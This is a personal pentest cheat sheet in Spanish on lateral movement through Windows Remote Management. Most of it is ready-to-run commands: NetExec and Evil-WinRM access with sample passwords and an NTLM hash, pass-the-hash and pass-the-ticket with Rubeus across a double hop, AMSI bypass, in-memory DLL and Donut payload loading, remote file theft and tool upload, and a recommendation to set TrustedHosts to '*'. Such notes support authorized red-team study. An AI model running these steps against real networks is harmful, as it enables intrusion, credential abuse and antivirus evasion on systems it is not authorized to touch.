Lateral Movement — Windows Remote Management (WinRM)
Herramientas
- Evil-WinRM
- NetExec
- Rubeus
- Donut
- PowerView
- Invoke-Command
- Enter-PSSession
- New-PSSession
- winrs
- Remote Management Users group
- JEA overview
- Breaking JEA
- Windows PowerShell Web Access
- Kerberos Double Hop
Requisitos y puertos
WinRM usa TCP 5985 para HTTP y TCP 5986 para HTTPS.
Por defecto pueden conectarse los miembros de Remote Management Users y Administrators. Un usuario con acceso WinRM no necesariamente tiene admin local — (Pwn3d!) en NetExec solo confirma acceso WinRM, no privilegios administrativos.
La única forma confiable de verificar si una cuenta tiene acceso WinRM es probarlo directamente. BloodHound no enumera grupos locales de los hosts, así que no se puede saber de antemano sin testear.
Enumeración
Antes de intentar conectarse es útil confirmar que el servicio está activo y que las credenciales son válidas sobre ese protocolo específico.
# Detectar puertos WinRM
nmap -p5985,5986 192.168.1.20 -sCV
# Verificar acceso con credenciales
netexec winrm 192.168.1.20 -u jdoe -p P@ssw0rd1!
# Escanear toda la red
netexec winrm 192.168.1.0/24 -u jdoe -p P@ssw0rd1!
# Via proxychains
proxychains4 -q netexec winrm 192.168.1.20 -u jsmith -p P@ssw0rd2!WinRM desde Linux
NetExec
La opción -x ejecuta CMD y -X ejecuta PowerShell. Si el usuario no tiene permisos Invoke para CMD, NetExec automáticamente cae a PowerShell. También soporta Pass the Hash directamente con -H.
# Ejecutar comando CMD
netexec winrm 192.168.1.20 -u jdoe -p P@ssw0rd1! -x whoami
# Ejecutar comando PowerShell
netexec winrm 192.168.1.20 -u jdoe -p P@ssw0rd1! -X whoami
# Con hash NTLM
netexec winrm 192.168.1.20 -u jsmith -H 8846F7EAEE8FB117AD06BDD830B7586C -x whoami
# Via proxychains
proxychains4 -q netexec winrm 192.168.1.20 -u jsmith -p P@ssw0rd2! -x whoamiEvil-WinRM
Herramienta principal para interactuar con WinRM desde Linux. Ofrece shell interactiva, transferencia de archivos, carga de scripts en memoria y bypass de AMSI. Soporta contraseña, hash NTLM y certificados.
# Instalar
sudo apt-get install ruby
sudo gem install evil-winrm
# Conectar con contraseña
evil-winrm -i 192.168.1.20 -u jdoe -p P@ssw0rd1!
# Con dominio explícito
evil-winrm -i 192.168.1.20 -u 'corp.local\jdoe' -p P@ssw0rd1!
# Con hash NTLM — Pass the Hash directo
evil-winrm -i 192.168.1.20 -u jsmith -H 8846F7EAEE8FB117AD06BDD830B7586C
# Cargar scripts PowerShell desde directorio local al conectar
evil-winrm -i 192.168.1.20 -u jsmith -p P@ssw0rd2! -s '/home/user/scripts/'
# Via proxychains
proxychains4 -q evil-winrm -i 192.168.1.20 -u jsmith -p P@ssw0rd2!Funciones del menú de Evil-WinRM
Desde dentro de la sesión el comando menu muestra las funciones adicionales disponibles. Si se cargaron scripts con -s, las funciones de esos scripts también aparecen aquí.
# Ver funciones disponibles
menu
# Subir archivo al host remoto
upload /ruta/local/archivo.exe C:\Users\jsmith\Desktop\archivo.exe
# Descargar archivo del host remoto
download C:\Users\jsmith\Desktop\archivo.txt /tmp/archivo.txt
# Cargar script e invocarlo dentro de la sesión
evil-winrm -i 192.168.1.20 -u jsmith -p P@ssw0rd2! -s '/home/user/'
PowerView.ps1
menu
# Bypass AMSI (ejecutar antes de cargar herramientas que disparan AV)
Bypass-4MSI
# Cargar DLL en memoria
Dll-Loader
# Cargar payload Donut en memoria
Donut-LoaderWinRM desde Windows
Invoke-Command
El cmdlet más flexible para ejecución remota. Permite pasar credenciales explícitas, ejecutar bloques de código, o lanzar scripts locales en el host remoto. Al usar IP en lugar de hostname Kerberos falla porque no puede resolver el SPN, por lo que se requieren credenciales explícitas o -Authentication Negotiate.
# Con sesión actual (sin creds explícitas)
Invoke-Command -ComputerName web01 -ScriptBlock { hostname; whoami }
# Con credenciales explícitas
$cred = New-Object System.Management.Automation.PSCredential("CORP\jsmith", (ConvertTo-SecureString "P@ssw0rd2!" -AsPlainText -Force))
Invoke-Command -ComputerName 192.168.1.20 -Credential $cred -ScriptBlock { whoami; hostname }
# Leer archivo remoto
Invoke-Command -ComputerName web01 -Credential $cred -ScriptBlock { Get-Content "C:\Users\jsmith\Desktop\archivo.txt" }
# Ejecutar script local en host remoto
Invoke-Command -ComputerName web01 -Credential $cred -FilePath C:\Tools\script.ps1winrs
Alternativa nativa en CMD para ejecutar comandos via WinRM sin necesitar PowerShell. Más simple que Invoke-Command pero sin capacidad de scripting complejo.
# Con sesión actual
winrs -r:web01 "powershell -c whoami;hostname"
# Con credenciales explícitas
winrs /remote:web01 /username:jsmith /password:P@ssw0rd2! "powershell -c whoami"
# Leer archivo
winrs -r:web01 "type C:\Users\jsmith\Desktop\archivo.txt"New-PSSession y Enter-PSSession
New-PSSession crea una sesión persistente reutilizable. Una vez creada, se puede usar para ejecutar múltiples comandos, transferir archivos, o entrar a ella de forma interactiva sin re-autenticarse cada vez.
$cred = New-Object System.Management.Automation.PSCredential("CORP\jsmith", (ConvertTo-SecureString "P@ssw0rd2!" -AsPlainText -Force))
# Crear sesión persistente
$session = New-PSSession -ComputerName WEB01 -Credential $cred
# Shell interactiva en la sesión
Enter-PSSession $session
# Shell interactiva con FQDN (necesario cuando se usa Kerberos)
Enter-PSSession web01.corp.local -Authentication Negotiate
# Ejecutar comando en la sesión sin entrar interactivamente
Invoke-Command -Session $session -ScriptBlock { whoami }Copy-Item via sesión WinRM
La transferencia de archivos via WinRM es más sigilosa que usar SMB ya que usa el canal de management ya establecido. Requiere una sesión activa creada con New-PSSession.
# De local hacia el host remoto
Copy-Item -ToSession $session -Path 'C:\Tools\herramienta.exe' -Destination 'C:\Windows\Temp\herramienta.exe' -Verbose
# Del host remoto hacia local
Copy-Item -FromSession $session -Path 'C:\Windows\System32\drivers\etc\hosts' -Destination 'C:\Temp\hosts.txt' -VerbosePass the Hash / Pass the Ticket via WinRM (Windows)
PowerShell remoting usa Kerberos por defecto. Si tenemos el hash NTLM de un usuario podemos pedir un TGT con Rubeus y usarlo para autenticarnos sin conocer la contraseña en texto claro. El truco es crear un proceso sacrificial con createnetonly que genera un contexto de logon limpio y aislado donde importamos el ticket sin afectar la sesión actual. Una vez importado el ticket en ese proceso, Enter-PSSession lo usa automáticamente al autenticarse.
# Paso 1 — Pedir TGT con el hash NTLM
.\Rubeus.exe asktgt /user:mgarcia /rc4:8846F7EAEE8FB117AD06BDD830B7586C /nowrap
# Paso 2 — Crear proceso sacrificial con contexto limpio
.\Rubeus.exe createnetonly /program:powershell.exe /show
# Paso 3 — En la nueva ventana generada, importar el ticket
.\Rubeus.exe ptt /ticket:<base64_ticket>
# Paso 4 — Conectar usando el ticket (usar FQDN, no nombre corto)
Enter-PSSession web01.corp.local -Authentication Negotiate
# Paso 5 — Verificar contexto
whoami
klistPara conectarse a un tercer host desde esa sesión el Double Hop bloquea el ticket porque WinRM crea un Network Logon que no reenvía credenciales. La solución es importar un nuevo ticket con Rubeus desde dentro de la sesión activa antes de intentar el siguiente salto.
# Dentro de la sesión WinRM, importar nuevo ticket para el siguiente salto
.\Rubeus.exe asktgt /user:mgarcia /rc4:8846F7EAEE8FB117AD06BDD830B7586C /ptt
# Conectar al tercer host
Enter-PSSession dc01.corp.local -Authentication NegotiateErrores comunes y soluciones
Error Kerberos con nombre corto (0x80090322)
Ocurre porque Kerberos necesita resolver el SPN del servicio y lo hace usando el FQDN. Con el nombre corto no encuentra el SPN correcto en el DC.
# Incorrecto
Enter-PSSession web01
# Correcto — usar FQDN
Enter-PSSession web01.corp.localError TrustedHosts
Aparece cuando se intenta usar -Authentication Negotiate contra un host que no está en la lista de TrustedHosts local. El cliente WinRM rechaza la conexión por seguridad.
# Solución permanente (requiere admin local)
Set-Item WSMan:localhost\client\trustedhosts -value * -Force
# Sin admin: usar credenciales explícitas en lugar de Negotiate
Enter-PSSession web01 -Credential $cred-Authentication Negotiate selecciona Kerberos o NTLM automáticamente según lo que soporten cliente y servidor. Útil cuando hay problemas de autenticación y no sabes cuál mecanismo usar.
PowerShell Web Access (PSWA)
Interfaz web que expone una sesión PowerShell remota desde el navegador. URL por defecto https://<IP>/pswa en puertos 80 o 443. Mismos requisitos de acceso que WinRM normal.
# Convertir archivo a Base64 para descarga rápida (PSWA transfiere línea por línea)
[Convert]::ToBase64String([System.IO.File]::ReadAllBytes("C:\ruta\archivo.txt"))
# En Linux, decodificar el contenido copiado
cat archivo_base64.txt | base64 -d > archivo.txtError de PowerView en PSWA
Al usar PowerView desde PSWA el Double Hop hace que las búsquedas LDAP fallen con An operations error occurred. La solución es pasar las credenciales explícitamente a cada función de PowerView.
$cred = New-Object System.Management.Automation.PSCredential("CORP\jsmith", (ConvertTo-SecureString "P@ssw0rd2!" -AsPlainText -Force))
Get-DomainUser -Credential $cred -FindOneJust Enough Administration (JEA)
JEA restringe los comandos disponibles en una sesión remota para limitar el blast radius de cuentas comprometidas. Si llegas a una sesión JEA puedes ver qué está permitido antes de buscar formas de escapar.
# Ver qué comandos están disponibles en la sesión JEA
Get-Command
# Ver el nombre de la configuración de sesión activa
$PSSessionConfigurationNameNotas personales — Lateral Movement via WinRM